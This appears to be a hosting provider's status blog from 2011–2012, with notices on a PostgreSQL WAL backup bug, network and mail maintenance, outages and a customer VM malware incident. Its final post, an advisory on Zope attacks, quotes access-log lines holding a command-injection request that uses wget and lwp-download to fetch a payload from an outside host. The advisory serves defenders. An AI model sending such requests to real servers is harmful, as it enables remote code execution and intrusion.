Yesterday we found and fixed a critical bug in our backup server configuration.
A typo in the exclude file caused PostgreSQL write-ahead logs (WAL) not to be backed up. The PostgreSQL heap, which contains regular table data, has been backed up constantly though. This means that we were able to restore PostgreSQL data, but could not guarantee a consistent restore of transactions started between the last checkpoint and the time the snapshot for the backup was made.
The bug has been fixed yesterday. We have verified that all PostgreSQL servers' write-ahead logs have been backed up tonight so restores from backups performed since 2012-05-16 will not suffer from this problem.
![gocept.net [en]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY65wXXMC4QddrR7HTZnjU9u-41YNivbxQFTE7ptP_w-pxs5E-UwY2lF_zetWI19slZ_BIYljxRVsXdeUffNfpsoyKXOaA-jj45jrcuIAdUZiSTYDyjEAckKVIODgfGWWFqc-JuybhbgRa/s1600-r/logo.png){kind=logo}
Network maintenance on 2012-04-26 at 21:30-22:30 CEST
We will update our switch firmware on Thursday 2012-04-26 between 21:30 and 22:30 CEST (19:30-20:30 UTC). During these updates, we expect several short losses of network connectivity (<5min). Please note that customer VMs may be unreachable for short amounts of time.
The switch firmware updates will help us to ensure future network reliability and security. We apologize for any inconvenience.
The switch firmware updates will help us to ensure future network reliability and security. We apologize for any inconvenience.
Connectivity Issues 2012-04-10 (12:07pm-12:33pm CEST)
From 12:07pm to 12:33pm CEST we experienced a connectivity loss on our upstream connection to the data center. All physical and virtual customer machines have been affected.
The connectivity loss was caused by faulty switch hardware of our data center operator. The switch has been replaced immediately and connectivity has been restored.
We apologize for the service interruption.
Saturday, 2012-03-03 22:00 CET: Restart of all VMs due to security update
We need to perform a security update on our VM hosts which requires a restart of all virtual machines.
The restart will be performed beginning from Saturday, 2012-03-03 22:00 CET and will require about 4 hours until all VMs will have been rebooted. Reboot time of individual VMs may vary a lot depending on the need of performing a file system check. We expect most VMs to reboot within 10-20 minutes.
For details about the security issue, see http://www.gentoo.org/security/en/glsa/glsa-201202-09.xml).
Please excuse the short notice, according to our security policy we strive to install relevant updates as quickly as possible to minimize impact of known issues.
The restart will be performed beginning from Saturday, 2012-03-03 22:00 CET and will require about 4 hours until all VMs will have been rebooted. Reboot time of individual VMs may vary a lot depending on the need of performing a file system check. We expect most VMs to reboot within 10-20 minutes.
For details about the security issue, see http://www.gentoo.org/security/en/glsa/glsa-201202-09.xml).
Please excuse the short notice, according to our security policy we strive to install relevant updates as quickly as possible to minimize impact of known issues.
Connectivity issues 2012-01-29 (4:43pm-5:25pm CET)
From 4:43pm to 5:25pm CET we experienced high package loss on our upstream connection to the data center.
The cause of this was a malware infestation on a customer VM. No infrastructure components appear to have been compromised.
Connectivity has been reliable again since stopping the malware process.
The affected VM has been stopped and we are in contact with the customer to resolve the issue.
The cause of this was a malware infestation on a customer VM. No infrastructure components appear to have been compromised.
Connectivity has been reliable again since stopping the malware process.
The affected VM has been stopped and we are in contact with the customer to resolve the issue.
Maintenance for mail.gocept.net at 2012-01-04 22:00–23:00 CET
A maintenance window for mail.gocept.net services is scheduled for Wednesday 2012-01-04 between 22:00 and 23:00 CET. Please note that during this period, the mail server mail.gocept.net will be offline.
Customer VMs will not be affected directly but VMs using mail.gocept.net as relay might experience mail delivery delays. No mail will be lost.
This maintenance includes disk capacity upgrades.
Attacks against Zope installations
We see intensified attack activity against Zope installations since 2011-12-26. The activity focuses on automatically exploiting the vulnerability described in CVE-2011-3587, for which a patch is readily available.
Please ensure that all of your Zope installations contain the latest security patches, since gocept does not take responsibility for patching user applications.
Suspicious activity leaves traces in access log files that follow a pattern like:
211.191.168.XXX - - [26/Dec/2011:22:18:00 +0100] "GET //p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20--output-document%20/tmp/ieh1%20http://202.28.76.20/ieh1 HTTP/1.1" 200 154 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 211.191.168.XXX - - [26/Dec/2011:22:18:01 +0100] "GET //p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=lwp-download%20http://202.28.76.20/ieh1 HTTP/1.1" 200 154 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro"
Subscribe to:
Posts (Atom)